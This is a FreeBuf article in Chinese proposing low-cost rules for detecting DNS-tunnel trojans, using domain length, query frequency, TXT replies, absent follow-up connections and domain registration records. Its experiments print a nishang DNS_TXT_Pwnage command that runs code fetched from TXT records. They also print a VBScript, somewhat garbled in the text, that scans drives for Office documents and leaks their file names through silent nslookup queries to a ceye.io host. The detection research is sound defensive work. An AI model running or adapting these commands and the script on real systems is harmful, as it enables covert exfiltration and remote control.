一次誤報引發的DNS檢測方案的思考:DNS隧道檢測平民解決方案
*
本文作者:ChuanFile,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。隨著dns隧道應用的越來越廣泛,尤其是xshell事件被公布以後,各大公司紛紛啟動對dns隧道的監控,參考xshell的邏輯,大多數公司採取了「監控多個終端請求異常長度域名」的檢測方案,其中注重檢出率的公司為了提高檢出率(當然會提高誤報率)進一步降低了多終端的數量,採取了「單個終端請求了異常長度的域名」的方案來發現所有疑似dns隧道木馬。
筆者前陣子突然發現幾台機器頻繁解析詭的域名,如下:
經過緊張的排查定位確認為瀏覽器的某插件導致,相關全域名存在註冊記錄,非dns隧道木馬,為誤報。大家都鬆了口氣,但是也引起了反思,怎麼才能更精準的發現真正的dns隧道木馬?
大數據分析?夠高大上!但落地成本高,複雜度也高,對於一般公司來說很難實施,為此筆者從dns隧道的原理和黑客的思路入手分析,提出一些簡單的檢測方案,僅供參考!
正文:
原理分析:
眾所周知,dns隧道木馬外傳數據是利用1、過長的不存在的域名(其中隨機數即為外傳數據)2、txt回包作為回傳數據(更新配置、模塊等),詳細分析這種利用開放53埠(可廣義理解為漏洞)的傳輸方式的技術:
1、**
通用外傳方式分析**
a) 方式1:利用本機dns配置,發送域名請求,通過遞歸到達黑客控制的dns伺服器(壞人需擁有或拿下dns服務 器)
b) 方式2:更改本機dns配置,配置為8.8.8.8等公共dns,然後通過遞歸外傳到達黑客控制的dns伺服器
c) 方式3:直接構造dns包體,發送到8.8.8.8等公共dns,然後利用遞歸外傳到達黑客控制的dns伺服器
d) 方式4:直接構造dns包體,發送到本機dns伺服器,然後利用遞歸外傳到達黑客控制的dns伺服器
e) 方式5:直接構造dns包體,發送到自己控制的dns伺服器,直接獲取數據
2、**
安全取證分析**
a)
方式1:此方式走系統dns配置,無法獲取哪個程序調用了dns請求,僅能看到系統svchost.exe進行了dns請求,但一旦發現異常可通過配置dns黑名單止損
b) 方式2:此方式走系統dns配置,無法獲取哪個程序調用了dns請求,僅可獲取dns配置被更改的日誌,但無法獲取誰更改的,僅能看到系統svchost.exe進行了dns請求,因公共服務不在公司控制範圍,所有無法通過配置域名解析黑名單止損
c) 方式3:此方式可獲取哪個進程發起了dns請求(xshell就是利用了此方案),同樣,因公共服務不在公司控制範圍,所有無法通過配置域名解析黑名單止損
d) 方式4:此方式可獲取哪個進程發起了dns請求(xshell就是利用了此方案),
但一旦發現異常可通過配置dns黑名單止損
e) 方式5:此方式可獲取哪個進程發起了dns請求,但直接暴露黑客dns位置,
可通過直接屏蔽惡意dns目的止損
3、**
惡意進程和黑dns伺服器交互分析**a) 惡意進程僅用超長域名記錄外傳數據,不利用txt回包獲取回傳數據,不利用A記錄回包作為C&C地址,純竊取敏感信息的木馬就是利用此方式,這行情況下:
i. dns伺服器無需提供解析服務,即dns伺服器可以無回包
ii. dns伺服器如提供解析服務返回解析的ip地址,但本機進程也不關注,即本機進程不對解析結果發包(無socket通信)
b) 惡意進程用超長域名記錄外傳數據,利用txt回包獲取回傳數據,不利用A記錄回包作為C&C地址,xshell就是利用此方式,這行情況下:
i. dns伺服器需提供解析服務,即dns伺服器有txt回包,可能有A記錄回包
ii. dns伺服器需提供解析服務,但本機進程也不關注,即本機進程不對解析結果發包(無socket通信)
c) 惡意進程用超長域名記錄外傳數據,利用txt回包獲取回傳數據,並利用A記錄回包作為C&C地址,
此方式不是純dns隧道,不符合dns的隱蔽性,從dns隧道角度分析黑客理論上利用此方式幾率極小
,這行情況下:
i. dns伺服器需提供解析服務,即dns伺服器有txt回包,可能有A記錄回包
ii. 本機程序對解析出的A記錄發起訪問(有socket通信)
d) 惡意進程用超長域名記錄外傳數據,不利用txt回包獲取回傳數據,但利用A記錄回包作為C&C地址,但此方式多為正常程序使用,
不是純dns隧道,不符合dns的隱蔽性,從dns隧道角度分析黑客理論上利用此方式幾率極小
,這行情況下:
i. dns伺服器需提供解析服務,即dns伺服器有回包,但是A記錄類型
ii. 本機進程對此A記錄進行訪問關注,即本機進程對解析結果地址發包
結論:
完成外傳方式分析、取證分析、惡意進程和黑dns伺服器交互分析等三部分的分析後,我們已完全掌握黑客的伎倆,接下來我們再深入分析下,首先,我們結合下黑客的心理,黑客利用dns隧道的目的是繞過防禦(如禁止外聯)、躲避流量檢測(如snort特徵碼檢測)、躲避ioc檢測(如外聯惡意ip、惡意域名)等,那黑客必然不會對dns相關(如解析出的ip)的ip進行額外的通信,如http、socket等,既是存在非dns通信也是通過txt回包獲取c&c罷了,這樣才可以充分利用dns的隱蔽性。其次我們從黑客入侵的目的出發,入侵的最終目的無非是為了竊取數據外傳,竊取單個賬號密碼只是中間過程,最終還是為了竊取大量數據,那利用dns怎麼外傳大量數據呢,超長域名*頻率就是外傳的數據量,僅超長域名不排除在外傳賬號密碼等少量新的可能性,但高頻率就一定在大量外傳了。第三從域名註冊角度分析,dns必然涉及到域名問題,假設正在請求的超長域名已存在註冊記錄,那必然不是dns隧道方式,因註冊記錄是固定的,能承載的信息也就是固定的,一定不可能是外傳的數據。
通過以上分析得出監控需要關注的幾個要素:長域名、頻率、txt類型、終端是否對解析ip發起訪問、是否有全域名註冊記錄,推導檢測邏輯如下:
方向1:特徵檢測:
檢測竊密木馬(無需更新和接收指令): 【域名超長 or 頻率高】 and 【終端無進程對返回的A記錄(如有)發起訪問】 and 【不存在全域名註冊記錄】
檢測遠控木馬(需更新和接收指令): 【域名超長 or 頻率高】 and 【終端無進程對返回的A記錄(如有)發起訪問】 and 【不存在全域名註冊記錄】 and 【存在txt回包】
通用檢測(可發現單次外傳,存在瀏覽器預解析等誤報,需結合其他特徵確認):
{【存在txt回包】and 【不存在全域名註冊記錄】} or {【終端無進程對返回的A記錄(如有)發起訪問】 and 【不存在全域名註冊記錄】}
方向2:基於外傳量檢測,發現正在進行的大量數據泄露(不分析細節,僅供參考,本次實驗不涉及):
單台機器檢測: 域名長度(3+N級的域名) * 域名數量(相同只計算一個) > 單台機器閾值,評測外傳數據大小,達到閾值則觸發報警
群體事件檢測: A機器域名長度(3+N級的域名)* A機器域名數量(相同只計算一個) + B +… > 多台機器閾值,評測外傳數據大小,達到閾值則觸發報警
實驗驗證分析:
為驗證此方案的邏輯正確性,筆者實驗如下:
Xshell實驗驗證:
1、
直接運行xshell,觸發dns行為
2、
外傳結果抓包:
3、
檢測邏輯匹配分析:
a)
外傳域名超長
b)
頻率較高
c)
類型為TXT,有回包
d)
無A記錄解析結果,也就無程序對結果發起訪問
e)
不存在全域名註冊記錄(黑客根據演算法提前註冊了部分域名,但全域名無註冊信息)
結論:竊密木馬+遠控木馬
Powershell dns實驗驗證:
1、
利用powershell構造dns隧道
a)
編寫一個最簡單的一句話腳本,獲取服務列表
b)
使用nishang的Out-NnsTxt將腳本GetServiceToTxt.ps1轉換為txt記錄
c)
在dns伺服器建立對應txt記錄(後續執行需按照1,2,3,4的順序,所以建立記錄名為1)
驗證結果,ok
d)
使用nishang的DNS_TXT_Pwnage讀取txt並執行(
腳本自動在test.com前加1,向1.test.com請求txt記錄作為腳本執行。不過筆者最終也沒搞懂stopstring這個參數的原理,懂的朋友麻煩私信下,謝謝!
),可正常獲取服務列表。
命令和結果如下:
DNS_TXT_Pwnage -startdomainstartflag.test.com -cmdstring nostart -commanddomain txt1.test.com -psstring startflag -psdomain test.com -Subdomains 1 -stopstring stopflag
2、
外傳結果抓包:
使用Microsoft Network Monitor抓包分析
3、
檢測邏輯匹配分析:
a)
因實驗未將結果外傳,所以域名長度不大,如dns隧道外傳則必使用長域名
b)
因實驗未將結果外傳,所以頻率不高,且只獲取遠端的get-server功能,頻率也不高,但要實現外傳和獲取更多功能(如mimikatz等),則必然需要高頻率
c)
類型為TXT,有回包
d)
無A記錄解析結果,也就無程序對結果發起訪問
e)
此實驗場景未覆蓋外傳數據,所以不涉及註冊問題
結論:遠控木馬(實驗功能較單一,擴展為大馬則可精確覆蓋檢測特徵)
利用ceye.io的外傳實驗驗證
1、
少量信息竊取和大量信息竊取
a)
單次少量信息竊取外傳,簡單利用windows命令(ping、nslookup等)即可竊取機器名
b)
多次大量信息竊取,編寫腳本,搜索文檔(word、excel、ppt),並外傳文件名(此腳本360 未報警),vbs腳本內容如下
(
代碼未充分驗證,不保證無錯誤,中文支持或讀文件內容請自行修改)
:
"On ErrorResume NextSet fso =CreateObject("Scripting.FileSystemObject")toolsName=Array(".docx",".doc",".xls",".xlsx",".ppt",".pptx")"ConstDRIVE_LETTERS="C:D:E:F:G:H:I:J:K:L:M:N:O:P:Q:R:S:T:U:V:W:X:Y:Z"ConstDRIVE_LETTERS="o"""""""""""""開始搜索CallScanDrives() """"""""""""""""""""SubScanDrives() Dim drives drives=Split(DRIVE_LETTERS,":") For Each drv In drives If fso.DriveExists(drv) Then Set drive=fso.GetDrive(drv) If drive.isReady Then CallScanFiles(drive.RootFolder) End If End If Next End Sub """""""""""" SubScanFiles(folder) For Each this_file In folder.Files On Error Resume Next Call FindKeyFile(this_file) WScript.Sleep 1 Next For Each this_folder In folder.SubFolders On Error Resume Next Call ScanFiles(this_folder) WScript.Sleep 1 Next End Sub """""""""""查找特定文件 SubFindKeyFile(file) On Error Resume Next For Each tool_name In toolsName "WScript.Echo """"將文件名都轉為大寫匹配 IfInStr(UCase(file.name),UCase(tool_name)) <>0 Then DnsStr= file.name &".xxxxxxx.ceye.io" """"進行靜默nslookup上傳 setobjShell=wscript.createObject("wscript.shell") objShell.exec("%comspec% /c nslookup " & DnsStr) End If Next End Sub
2、
外傳結果展示:
a)
單次少量信息竊取外傳
b)
多次大量信息竊取
3、
檢測邏輯匹配分析:
a)
利用A記錄外傳,非txt回包,長度不超長(實驗原因,未充分利用域名長度),但頻率較高,解析過程未發現異常(但此截圖為8.8.8.8,非系統dns存在一定風險)
b)
對解析A記錄結果無後續訪問
c)
不存在全域名註冊記錄
結論:竊取數據木馬
*本文作者:ChuanFile,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。
※逆天而行:我們如何在雲中發掘殭屍網路
※漏洞預警 | 海洋CMS(SEACMS)0day漏洞預警
TAG:FreeBuf |